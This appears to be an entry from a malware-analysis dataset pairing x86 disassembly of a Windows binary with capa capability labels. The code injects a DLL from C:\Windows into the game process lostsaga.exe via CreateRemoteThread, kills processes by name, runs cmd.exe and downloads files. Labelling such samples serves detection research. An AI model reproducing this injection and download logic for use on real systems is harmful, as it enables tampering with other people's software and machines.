joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402510
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x45e380]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.004026d0
push 0x103
mov esi, eax
lea eax, [ebp - 0x13f]
push 0
push eax
mov byte [ebp - 0x140], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea ecx, [ebp - 0x140]
push ecx
push 0x104
push str.C:Windowsiconcache_kr.dll
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov edi, dword [sym.imp.MSVCR100.dll_printf]
lea edx, [ebp - 0x140]
push edx
call edi
add esp, 4
push 0x45aa1c
call edi
add esp, 4
push 0x31
lea eax, [ebp - 0x37]
push 0
push eax
mov byte [ebp - 0x38], 0
call sub.MSVCR100.dll_memset
add esp, 0xc
test esi, esi
je 0x4025c9
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x4025dc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0x38]
push str.OpenProcess___failed:__d
push ecx
call edi
lea edx, [ebp - 0x38]
add esp, 0xc
push edx
call edi
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x45aa3c
push str.kernel32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.LoadLibraryW
push str.kernel32.dll
mov dword [ebp - 0x144], eax
call edi
push eax
call ebx
push 0x45aa6c
push str.kernel32.dll
call edi
push eax
call ebx
push str.DbgUiRemoteBreakin
push str.ntdll.dll
call edi
push eax
call ebx
lea eax, [ebp - 0x140]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402633
push 4
push 0x3000
sub eax, edx
push eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
lea eax, [ebp - 0x140]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402658
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
sub eax, ecx
push eax
lea eax, [ebp - 0x140]
push eax
push edi
push esi
call ebx
lea eax, [ebp - 0x38]
lea ecx, [eax + 1]
jmp 0x402680
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402680
push 0
sub eax, ecx
push eax
lea ecx, [ebp - 0x38]
push ecx
push edi
push esi
call ebx
mov edx, dword [ebp - 0x144]
push 0
push 0
push edi
push edx
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
Function at 0x4026d0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x45e380]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402716
push str.Error:_Unable_to_create_toolhelp_snapshot_
call dword [sym.imp.MSVCR100.dll_printf]
add esp, 4
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x130]
push eax
push esi
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402704
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x402740
mov ecx, str.lostsaga.exe
lea eax, [ebp - 0x10c]
jmp 0x402750
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402770
test dl, dl
je 0x40276c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402770
add eax, 2
add ecx, 2
test dl, dl
jne 0x402750
xor eax, eax
jmp 0x402775
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402797
lea ecx, [ebp - 0x130]
push ecx
push esi
call edi
test eax, eax
jne 0x402740
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x128]
pop edi
xor ecx, ebp
pop esi
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
Function at 0x4027d0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d708
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push ebx
push esi
mov eax, dword [0x45e380]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor esi, esi
lea ebx, [esi + 3]
lea eax, [ebp + 8]
mov dword [ebp - 4], esi
call fcn.00405000
push 0x38
lea eax, [ebp - 0x48]
push esi
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
cmp dword [ebp + 0x1c], 0x10
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x40
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], esi
mov dword [ebp - 0x3c], str.cmd.exe
jb 0x40283f
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x38], ecx
jmp 0x402845
lea edx, [ebp + 8]
mov dword [ebp - 0x38], edx
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x2c], esi
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x402883
cmp dword [ebp + 0x1c], 0x10
jb 0x40286f
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x14]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp + 0x1c], 0x10
mov esi, dword [ebp - 0x10]
jb 0x4028bd
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4028d0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x45e380]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x134]
push eax
push edi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40297d
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x110]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402940
test dl, dl
je 0x40293c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402940
add eax, 2
add ecx, 2
test dl, dl
jne 0x402920
xor eax, eax
jmp 0x402945
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40296b
mov ecx, dword [ebp - 0x12c]
push ecx
push eax
push 1
call ebx
mov esi, eax
test esi, esi
je 0x40296b
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x134]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402914
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
Function at 0x4029a0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x45e380]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ebx, str.lostsaga.exe
push 0x5c
push ebx
call dword [sym.imp.MSVCR100.dll_strrchr]
add esp, 8
test eax, eax
je 0x4029ce
lea ebx, [eax + 1]
push 0
push 2
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x402aa6
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
lea ecx, [ebp - 0x10c]
mov eax, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402a23
test dl, dl
je 0x402a1f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402a23
add eax, 2
add ecx, 2
test dl, dl
jne 0x402a03
xor eax, eax
jmp 0x402a28
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402a4a
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x128]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea ecx, [ebp - 0x130]
push ecx
push edi
call esi
test eax, eax
je 0x402a9f
mov edi, edi
lea ecx, [ebp - 0x10c]
mov eax, ebx
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402a88
test dl, dl
je 0x402a84
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402a88
add eax, 2
add ecx, 2
test dl, dl
jne 0x402a68
xor eax, eax
jmp 0x402a8d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x402a2c
lea edx, [ebp - 0x130]
push edx
push edi
call esi
test eax, eax
jne 0x402a60
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret

Function at 0x402e30
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, eax
push edi
lea eax, [ebp - 8]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call dword [sym.imp.MSVCR100.dll__time64]
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.MSVCR100.dll__localtime64]
add esp, 8
push 0xff
push 0x45fd80
push 0x45fd7c
push 0x46034c
push 0x460d6c
push 0xff
push 0x460c68
push 0x45acb0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x100
call fcn.0044c786
mov edx, dword [0x460d6c]
push edx
mov ebx, eax
push 0x45acb4
push ebx
call dword [sym.imp.MSVCR100.dll_sprintf]
mov eax, ebx
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], edi
add esp, 0x10
mov byte [esi], 0
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402ec0
sub eax, edx
mov edi, eax
mov eax, ebx
call fcn.004011f0
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402ee0
Capabilities:
Reference http user-agent string
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov eax, dword [0x45e380]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
call fcn.00402cf0
push 0
push 0
push 0
push 0
add eax, 5
push str.Mozilla_5.0__Windows_NT_6.3__
mov dword [0x460d70], eax
mov dword [0x460d74], 0x402cd0
call fcn.00402cd0
mov ecx, dword [0x45adb4]
mov edx, dword [0x45adb8]
mov edi, eax
mov eax, dword [str.Accept:___r_n_r_n]
push 0
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x14], eax
mov eax, dword [0x45adbc]
push 0x4000000
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x14]
push edx
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x402ffb
push 0x45adc0
push ebx
call dword [sym.imp.MSVCR100.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x402ffb
call fcn.00402d90
add eax, 5
mov dword [0x460d68], eax
lea eax, [ebp - 0x18]
push eax
push 0x32
lea ecx, [ebp - 0x7c]
push ecx
push esi
mov dword [0x460878], 0x402ce0
call fcn.00402ce0
test al, al
je 0x402ff1
mov ebx, dword [sym.imp.MSVCR100.dll_fwrite]
mov eax, dword [ebp - 0x18]
push edi
test eax, eax
je 0x40300e
push eax
lea edx, [ebp - 0x7c]
push 1
push edx
call ebx
add esp, 0x10
call fcn.00402d90
add eax, 5
mov dword [0x460d68], eax
lea eax, [ebp - 0x18]
push eax
push 0x32
lea ecx, [ebp - 0x7c]
push ecx
push esi
mov dword [0x460878], 0x402ce0
call fcn.00402ce0
test al, al
jne 0x402fb2
push edi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
call dword [sym.imp.MSVCR100.dll_fflush]
push edi
call dword [sym.imp.MSVCR100.dll_fclose]
mov ecx, dword [ebp - 4]
add esp, 8
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
Function at 0x4051e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d738
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x45e380]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x405372
cmp byte [ebx + 0x49], 0
je 0x405372
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x405366
lea esi, [ebp - 0x2c]
call fcn.00404ee0
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x405253
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x40528b
dec eax
je 0x40528f
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x40536d
call fcn.004010c0
xor al, al
jmp 0x405374
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x40529f
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x4052cd
cmp edi, 0x10
jae 0x4052ae
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x40535e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x40536a
test esi, esi
jne 0x405247
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x40538f
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x40538f
cmp edi, esi
jae 0x405347
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.004013f0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x405247
mov ecx, eax
cmp edi, 0x10
jae 0x405323
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x40533e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x405241
test esi, esi
jne 0x405319
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x405356
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x405241
lea esi, [ebp - 0x2c]
call fcn.004010c0
xor al, al
jmp 0x405374
lea esi, [ebp - 0x2c]
call fcn.004010c0
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3
Function at 0x406530
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44d888
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x45e380]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x1c], 0x10
mov byte [ebp - 0x7c], al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x30], 0x67452301
mov dword [ebp - 0x2c], 0xefcdab89
mov dword [ebp - 0x28], 0x98badcfe
mov dword [ebp - 0x24], 0x10325476
jae 0x406593
lea eax, [ebp + 8]
push eax
mov eax, dword [ebp + 0x18]
lea esi, [ebp - 0x7c]
call fcn.004062f0
mov ecx, esi
call fcn.004063a0
mov ecx, edi
mov ebx, esi
call fcn.00406480
cmp dword [ebp + 0x1c], 0x10
jb 0x4065c2
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044c7a4
mov esp, ebp
pop ebp
ret
Function at 0x410740
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x18
push ebx
mov ebx, dword [esp + 0x20]
cmp dword [ebx], 0x45e05c
mov ecx, dword [ebx + 8]
mov eax, dword [ebx + 0xc]
push edi
mov dword [esp + 0x1c], ecx
jne 0x410762
add eax, 0x18c
jmp 0x410767
add eax, 0x140
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x34]
test eax, eax
je 0x410779
mov dword [eax], 0
mov edi, dword [esp + 0x28]
cmp dword [edi + 0x9f0], 0
jne 0x41078e
pop edi
xor eax, eax
pop ebx
add esp, 0x18
ret
mov ecx, dword [ecx + 8]
push ebp
push esi
mov esi, dword [edi + 0x9f0]
mov eax, dword [esi + 0x14]
push ecx
mov dword [esp + 0x34], eax
call dword [0x45e00c]
mov ebp, eax
add esp, 4
mov dword [esp + 0x10], ebp
test ebp, ebp
je 0x410923
mov eax, dword [ebx + 0xc]
cmp dword [eax + 0x1fc], 0
je 0x4107f0
mov edx, dword [eax + 0x64]
push edx
call dword [0x45e00c]
add esp, 4
mov dword [esp + 0x18], eax
test eax, eax
jne 0x4107f8
push ebp
call dword [0x45e004]
add esp, 4
pop esi
pop ebp
pop edi
mov eax, 0x1b
pop ebx
add esp, 0x18
ret
mov dword [esp + 0x18], 0
mov eax, dword [ebx + 0xc]
cmp dword [eax + 0x200], 0
je 0x410810
mov eax, dword [eax + 0x4e8]
mov dword [esp + 0x1c], eax
jmp 0x410818
mov dword [esp + 0x1c], 0xffffffff
mov eax, dword [edi + 0x78]
test eax, eax
je 0x41082e
test byte [eax + 4], 0x10
je 0x41082e
add eax, 0x78
mov dword [esp + 0x14], eax
jmp 0x410838
lea ecx, [edi + 0x9f4]
mov dword [esp + 0x14], ecx
mov ebx, dword [edi + 0x50c]
mov eax, 1
cmp ebx, eax
jbe 0x410880
mov ecx, dword [edi + 0x9f0]
lea edx, [eax + 0x6b]
sub ecx, 0xffffff80
cmp dword [ecx - 8], 0
je 0x410880
mov ebp, dword [esp + 0x30]
cmp dword [ecx], ebp
jge 0x410871
mov esi, dword [edi + 0x9f0]
mov ebp, dword [esi + edx + 0x14]
add esi, edx
mov dword [esp + 0x30], ebp
mov ebp, dword [esp + 0x10]
inc eax
add edx, 0x6c
add ecx, 0x6c
cmp eax, ebx
jb 0x410853
cmp eax, ebx
jne 0x41088f
push esi
call fcn.0040f410
add esp, 4
jmp 0x41089a
imul eax, eax, 0x6c
add eax, dword [edi + 0x9f0]
mov esi, eax
mov eax, dword [esp + 0x38]
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x14]
mov dword [esi + 0x10], eax
mov eax, dword [esi]
mov dword [esi + 0xc], edx
mov edx, dword [ecx]
push eax
mov dword [esi + 0x14], edx
call dword [0x45e004]
mov ecx, dword [esi + 4]
push ecx
call dword [0x45e004]
mov edx, dword [esp + 0x24]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x2c]
mov dword [esi + 0x1c], edx
mov edx, dword [esp + 0x34]
mov dword [esi], ebp
mov dword [esi + 4], ebx
mov ecx, dword [eax + 0x30]
mov dword [esi + 0x18], ecx
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0x254]
mov eax, dword [esp + 0x28]
mov edx, dword [ecx]
lea edi, [esi + 0x20]
push edi
push eax
mov dword [esi + 8], edx
call fcn.0040eff0
add esp, 0x10
test eax, eax
jne 0x410930
push edi
call fcn.0040f240
push ebp
mov dword [esi + 0xc], 0
call dword [0x45e004]
push ebx
call dword [0x45e004]
add esp, 0xc
pop esi
pop ebp
pop edi
mov eax, 0x1b
pop ebx
add esp, 0x18
ret
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x41093e
mov dword [eax], 1
pop esi
pop ebp
pop edi
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x410e10
Capabilities:
Hash data using djb2

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea edi, [esi + eax]
mov ebx, 0x1505
cmp esi, edi
jae 0x410e3e
movzx eax, byte [esi]
push eax
call fcn.0040c3f0
mov edx, ebx
shl edx, 5
movsx ecx, al
add ebx, edx
inc esi
add esp, 4
xor ebx, ecx
cmp esi, edi
jb 0x410e21
pop edi
pop esi
movzx eax, bl
pop ebx
ret

Function at 0x410e50
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push ecx
push esi
mov esi, eax
test esi, esi
je 0x410e81
push esi
call fcn.00432eb0
add esp, 4
test eax, eax
jne 0x410e81
lea eax, [esp + 4]
push eax
call fcn.00410db0
add esp, 4
mov ecx, eax
mov eax, dword [esp + 4]
pop esi
add esp, 4
jmp fcn.00410e10
xor eax, eax
pop esi
pop ecx
ret

Function at 0x413d40
Capabilities:
Get common file path

Disassembly:
push ecx
push ebp
push esi
push str.kernel32
xor ebp, ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x413d5a
pop esi
pop ebp
pop ecx
ret
push ebx
push edi
push str.LoadLibraryExA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [esp + 0x18]
mov edi, eax
push 0x451ea0
push ebx
mov dword [esp + 0x18], edi
call dword [sym.imp.MSVCR100.dll_strpbrk]
add esp, 8
test eax, eax
je 0x413da7
test edi, edi
je 0x413d98
push 8
push 0
push ebx
call edi
pop edi
pop ebx
pop esi
mov ebp, eax
pop ebp
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop ebx
pop esi
mov ebp, eax
pop ebp
pop ecx
ret
test edi, edi
je 0x413dcd
push str.AddDllDirectory
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x413dcd
push 0x800
push 0
push ebx
call edi
pop edi
pop ebx
pop esi
mov ebp, eax
pop ebp
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, eax
test edi, edi
je 0x413e80
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413de6
sub eax, edx
lea eax, [eax + edi + 1]
push eax
call dword [section..data]
mov esi, eax
add esp, 4
test esi, esi
je 0x413e76
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x413e76
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413e14
sub eax, edx
mov ecx, 0x5c
mov word [eax + esi], cx
mov eax, esi
lea edx, [eax + 1]
jmp 0x413e30
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x413e30
sub eax, edx
lea edx, [eax + esi]
mov ecx, ebx
sub edx, ebx
mov al, byte [ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x413e40
mov eax, dword [esp + 0x10]
test eax, eax
je 0x413e6d
push 8
push 0
push esi
call eax
push esi
mov ebp, eax
call dword [0x45e004]
add esp, 4
pop edi
pop ebx
pop esi
mov eax, ebp
pop ebp
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push esi
call dword [0x45e004]
add esp, 4
pop edi
pop ebx
pop esi
mov eax, ebp
pop ebp
pop ecx
ret
Function at 0x413e90
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x790], 0
je 0x413f29
cmp dword [esi + 0x1c4], 0
push edi
je 0x413ee8
push esi
call fcn.00414ee0
push 1
push esi
mov edi, eax
call fcn.00414eb0
mov eax, dword [esi + 0x174]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esi + 0x1c4]
push edx
push eax
push esi
call ecx
push edi
push esi
call fcn.00414eb0
add esp, 0x28
pop edi
pop esi
ret
mov eax, dword [esp + 0x10]
test eax, eax
js 0x413f28
cmp eax, 2
jg 0x413f28
mov edx, dword [esi + 0x170]
mov edi, dword [sym.imp.MSVCR100.dll_fwrite]
push edx
push 1
lea eax, [eax + eax*2 + 0x451ec0]
push 2
push eax
call edi
mov ecx, dword [esi + 0x170]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
push ecx
push 1
push edx
push eax
call edi
add esp, 0x20
pop edi
pop esi
ret

Function at 0x413f30
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x108
mov eax, dword [0x45e380]
xor eax, esp
mov dword [esp + 0x104], eax
push esi
mov esi, dword [esp + 0x110]
cmp dword [esi + 0x790], 0
jne 0x413f62
cmp dword [esi + 0x178], 0
je 0x41404e
mov ecx, dword [esp + 0x114]
push edi
lea eax, [esp + 0x11c]
push eax
push ecx
lea edx, [esp + 0x10]
push 0x100
push edx
call fcn.00419310
mov edx, dword [esi + 0x178]
add esp, 0x10
mov edi, eax
test edx, edx
je 0x413fb4
cmp dword [esi + 0xe84], 0
jne 0x413fb4
lea ecx, [esp + 8]
mov edi, edi
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x413fa0
mov dword [esi + 0xe84], 1
mov byte [esp + edi + 8], 0xa
inc edi
cmp dword [esi + 0x790], 0
mov byte [esp + edi + 8], 0
je 0x41404d
cmp dword [esi + 0x1c4], 0
push ebx
je 0x414020
push esi
call fcn.00414ee0
push 1
push esi
mov ebx, eax
call fcn.00414eb0
mov eax, dword [esi + 0x174]
mov edx, dword [esi + 0x1c4]
push eax
push edi
lea ecx, [esp + 0x20]
push ecx
push 0
push esi
call edx
push ebx
push esi
call fcn.00414eb0
add esp, 0x28
pop ebx
pop edi
pop esi
mov ecx, dword [esp + 0x104]
xor ecx, esp
call fcn.0044c7a4
add esp, 0x108
ret
mov eax, dword [esi + 0x170]
mov ebx, dword [sym.imp.MSVCR100.dll_fwrite]
push eax
push 1
push 2
push 0x451ec0
call ebx
mov ecx, dword [esi + 0x170]
push ecx
push 1
lea edx, [esp + 0x24]
push edi
push edx
call ebx
add esp, 0x20
pop ebx
pop edi
mov ecx, dword [esp + 0x108]
pop esi
xor ecx, esp
call fcn.0044c7a4
add esp, 0x108
ret